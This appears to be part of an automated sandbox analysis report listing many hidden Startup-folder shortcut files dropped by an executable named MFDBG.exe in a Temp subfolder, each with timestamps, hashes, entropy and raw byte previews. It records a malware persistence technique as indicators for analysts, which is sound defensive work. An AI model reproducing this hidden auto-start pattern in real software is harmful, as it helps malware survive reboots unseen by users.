Preview:	L..................F...."...]W%.{...p.6.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_7ab6e14a96c7410f9891458a32ca9f59.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:48 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.940137765874709
Encrypted:	false
SSDEEP:	24:83hBfc8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8rh0R6rMhpBoUBxdRd1nYyg
MD5:	D9A9A3DD16253E25B7A298966442BAA1
SHA1:	93621B8E8772F4C175640F6BD9DD4DCC6FE96C07
SHA-256:	174CDA943B7DBEFD294D66D3CCD88797330AC43A9383D4BB815170BE4544ACCA
SHA-512:	2B77847DA7911347182F44065B49E985751A781F7D44A1EF045FA6193E864C866523F039BB0244D348BDB7C13EC4ED5D3C9C6AD794C1893E3047EE86BFE1FF77
Malicious:	false
Preview:	L..................F...."...]W%.{......\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...O1..\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_7b89afc260f740ad8cc4ec0e91022528.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:15 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.934245933507992
Encrypted:	false
SSDEEP:	24:852hBft8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8CC0R6rMhpBoUBxdRd1nYyg
MD5:	425F7DA0CAD7BA6512370C8B75C962D6
SHA1:	B2F85DC2B186F3A916029DA4BC40B81E5CAAD9B7
SHA-256:	7A6963732E0933D99658A1E3A58BC3EE51606B3DF06F394DD2E4A899821C83E1
SHA-512:	8408938718F63F8C1E91A341B245A4A89C96E43F6127A41F47DC8B59874702B223BB2109C8B409F342584D987423318D83ACCD53AD347872304678E5D1C67DEA
Malicious:	false
Preview:	L..................F...."...]W%.{....S..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{..._.\.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_7cc45119b70c4a7cb619b814a6465d43.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:08 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.938431926540673
Encrypted:	false
SSDEEP:	24:8gzhBfB8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:80e0R6rMhpBoUBxdRd1nYyg
MD5:	62DD4E558D7565EDDE1CF86E6C1D69B5
SHA1:	AC10BE7925274E037B2B958C63C71575651ACC85
SHA-256:	AB89FB9F0BB74FC5BE9D0A236EEF4FA758CCD253823B8CDDB728357CFD250D6E
SHA-512:	C67DC4A9D8A41893B067F6BDF7DC96EF94298916B1422ABA7D54FF99340AEF943331EB6EC8FDB37508CAB027D7E94B2D6C5B0880878698A24437FCDFCBC64147
Malicious:	false
Preview:	L..................F...."...]W%.{...4.O.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...q.<.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_7d0b8ddb586a48afaeabbb99c43e4f35.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:26 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.942856855149759
Encrypted:	false
SSDEEP:	24:8cYhBfW8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8PD0R6rMhpBoUBxdRd1nYyg
MD5:	63B909CAAEB995900CC823A32D013E97
SHA1:	3E68190412FCC3DEAB6DE01E175B7196FDE0EA4E
SHA-256:	F1C49858914943A50427A75FA861D3832A3D29652E85E4739DC4AE565B874A4A
SHA-512:	14941B9FAA600F4CA1605AE7A13A49E915E16F59ADEEE8025160E3F79B17BE683022745F8971506FE18CCE343D16F212DF0595FD38AA54A015168FDA571410E4
Malicious:	false
Preview:	L..................F...."...]W%.{......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_7d8774b2009d4d3495f8d60a2fac1139.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:51 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.941074399126583
Encrypted:	false
SSDEEP:	24:8H2hBfB8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:88O0R6rMhpBoUBxdRd1nYyg
MD5:	F01ACB50F54C906B01DF7CB52BA935D7
SHA1:	1A0DC2A01772A7E1FB84E3E830565FDCA5DC4DB1
SHA-256:	92143FB0CDB4626AE11301BB7608F71F55A177A14FB23FA23E0DE81673623AA1
SHA-512:	1C0196609861575A2B0095647A52EAE37154112E13921DDFC09738895940D541AE6BA6D51A90C23AF6C507ACACB7103059B98345A31D95D59604221E6048ABFB
Malicious:	false
Preview:	L..................F...."...]W%.{....6..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...6...{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_7d9247105120475b8c4d39cd32d3e231.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:49 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.93201016553841
Encrypted:	false
SSDEEP:	24:8xhBfDD8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8BrQ0R6rMhpBoUBxdRd1nYyg
MD5:	6FA9321D0B81FA6BDD2DA44A1A52F36B
SHA1:	9329883FC9AB7771A71751405928F7073919084E
SHA-256:	154ED14829293D33ED320D148152612155F78131E75931A2820ABBCEC10A3725
SHA-512:	676CEE9D03D89E44D7BC27706C02C60A8F72749DC0AC74F35A3D86DA8CED8B60329814EB31C4AEB4AC4661C3D6535F881CA3A4258D3AD36B2088A370888D0E24
Malicious:	false
Preview:	L..................F...."...]W%.{....m..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_7df42da47eb14e60951f277e9d03f29f.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:53 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.938198743715571
Encrypted:	false
SSDEEP:	24:8N8hBfSr8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8NOKI0R6rMhpBoUBxdRd1nYyg
MD5:	47ABB11C3270B187D94A1BD1990F2032
SHA1:	7C82E355E6C2EE7875E8E030E8C498A1F85CBFE6
SHA-256:	B5AF26DCE9025EC5E2B230713058A121070DB7CB46B5342B3E839EBA2DD7B121
SHA-512:	9D8EC2BE76C4172D1FA84ADBDE46E3F006FC3211436D8406A60BECF03B0FD62B3461C7F9CFBA0A8178D21CACB438223C3808908FC504C27ECA754D431C9DA14F
Malicious:	false
Preview:	L..................F...."...]W%.{.....J.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....G).{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_7dffe398227840e799a1a74147ddf4be.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:55 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.942600913250679
Encrypted:	false
SSDEEP:	24:8chBfOe8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8um0R6rMhpBoUBxdRd1nYyg
MD5:	9A0C3297149D92B7055F8D1A83171EA3
SHA1:	CEB6ED28D5BA1AE9A57ED8776F666018BF265196
SHA-256:	09C81271C85385224FB7EE86024518878796EE22A0A9C1B17E7DA42D71BBA624
SHA-512:	FE05947C8E10B6EABA9506ADCB863DD22040CDF0E5352DEE525490D00B049AC816F95F38FFF1E40CECA59BB768CC1A3DC5F38614CF918CD22C56E2ED9E9ABFF6
Malicious:	false
Preview:	L..................F...."...]W%.{...(v;.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_7e3eb09b5156463d811cbbc9ad6a9d95.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:28 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.938073889574535
Encrypted:	false
SSDEEP:	24:8KqhBfvl8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8V3C0R6rMhpBoUBxdRd1nYyg
MD5:	2771D6DF0B6D751A59B524EE3D7C802A
SHA1:	236567FD1F25CC64766F6DD00DA328DE72DCD729
SHA-256:	25EC7A987B48C50FDEFF878713EA3E69F0CE9C6B477C930364D6CA3D6E5AA547
SHA-512:	ECE5A0B010CEA84E214931BC686CE1B8A2C21E9B86A944691E56CA5E92DA3CC14BE495996734DFD1887686A40A9071133E1BBFE05318F68A0066481D721A1F97
Malicious:	false
Preview:	L..................F...."...]W%.{....T..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_7e75ab6539c84bea91d92f869b1bbc1b.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:45 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9376584987357575
Encrypted:	false
SSDEEP:	24:838hBfGI+8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:83OuIT0R6rMhpBoUBxdRd1nYyg
MD5:	957F313B48A0B1D236820A72566FB986
SHA1:	39C5F0E637FCAE4979D244CD5818E5563445DBDD
SHA-256:	90006866614842FA6E3079F338C278D8AF9621377EC22A46E924162B317C199C
SHA-512:	DD7D271A1101901FA6996079406ED816C526EB89F614047A6BF9ED423AE04C90CA5A69710EA4703976F964727157AE403CF14A29F630F2A6C9CDD3B2B601E9E0
Malicious:	false
Preview:	L..................F...."...]W%.{...w...\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...w...\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_7e7a0cd2ff1440bca985a27bc361599d.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:27 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.937402556836681
Encrypted:	false
SSDEEP:	24:8ThBfi8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8nn0R6rMhpBoUBxdRd1nYyg
MD5:	E5158635B94C35083E9E70A1B1078B1F
SHA1:	F5D81B56C631AB3787A762C00905B4D4618000E9
SHA-256:	3A31A7D244BD02714CF215BF929DBE041AB9C969A322E034AF46886E827D948A
SHA-512:	8486DBB93133AB6D38B6418157731301442757DC332FC4C8BF5BC86D3717326B7673EDB5ECBD69D010604C1EC4DC3A9B8985C79FA4FD57EDA7480A2A6316A1CC
Malicious:	false
Preview:	L..................F...."...]W%.{...!.v.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...t.c.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_7ef176e6c7e541ed87941dfa4d51d947.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:01 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.938499572253278
Encrypted:	false
SSDEEP:	24:8mPhBfeIl8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8mTnC0R6rMhpBoUBxdRd1nYyg
MD5:	289BC6D1D242736CCE5C584637C45C9E
SHA1:	D52F80E9A9864BB87DA584436EFF4AA01A7CAE27
SHA-256:	D65FE45624244035453ABDB8324371FE34FECF53975D63DFB8E7E25C53CA2431
SHA-512:	D906D2532D0B0B85BDAD955873137D131D85117B13A48258720069F7F687006184A00ADB3B3E2E0A1E5F1009AAD3EB9231A7F7C4E081229DBD27C22BDDE9B804
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...o...{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_7f062ebd9279495b8357f057e9930ed8.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:28 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.943178025173195
Encrypted:	false
SSDEEP:	24:8ihBfEH8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8I8c0R6rMhpBoUBxdRd1nYyg
MD5:	106C113D0FAF208D0653FB1132A43159
SHA1:	7125EC436EC0817A74A57824F84A5A91AD6DC51D
SHA-256:	1AADD1513F671C929859279B4D8B7AB6D6CA9EFD305A1D62AC14141C71EEC687
SHA-512:	6AC2AE9400E2A16D2061C6C5D115CBA8B2CD7CEF5164360A0B24DF1A411432A79652B5893D383BF1F2E18FE9DBAD6F13745DD003B0B17D57DD85BD2AC843A214
Malicious:	false
